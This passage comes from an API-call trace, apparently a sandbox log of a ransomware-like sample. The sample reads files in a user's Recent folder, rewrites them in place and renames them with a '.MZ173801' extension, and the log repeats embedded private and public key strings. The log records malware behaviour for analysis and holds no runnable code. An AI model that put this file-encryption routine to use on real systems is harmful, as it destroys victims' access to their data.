dwFileAttributes=0x80) returned 1 [0152.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.362] GetCurrentThreadId () returned 0xab4 [0152.363] GetCurrentThreadId () returned 0xab4 [0152.363] GetCurrentThreadId () returned 0xab4 [0152.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.363] GetCurrentThreadId () returned 0xab4 [0152.363] GetCurrentThreadId () returned 0xab4 [0152.363] GetCurrentThreadId () returned 0xab4 [0152.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.363] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.364] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.364] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3a1 [0152.364] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.364] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3a1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3a1, lpOverlapped=0x0) returned 1 [0152.365] CloseHandle (hObject=0x280) returned 1 [0152.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.366] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3a1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3a1, lpOverlapped=0x0) returned 1 [0152.367] CloseHandle (hObject=0x280) returned 1 [0152.371] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEnT80em6X.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uent80em6x.lnk.mz173801")) returned 1 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] GetCurrentThreadId () returned 0xab4 [0152.371] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf147c00c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf147c00c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf147c00c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UV46w2I sa.flv.lnk", cAlternateFileName="UV46W2~1.LNK")) returned 1 [0152.371] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.372] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf147c00c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf147c00c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf147c00c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x288)) returned 1 [0152.372] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uv46w2i sa.flv.lnk")) returned 0x20 [0152.372] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UV46w2I sa.flv.lnk", dwFileAttributes=0x80) returned 1 [0152.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 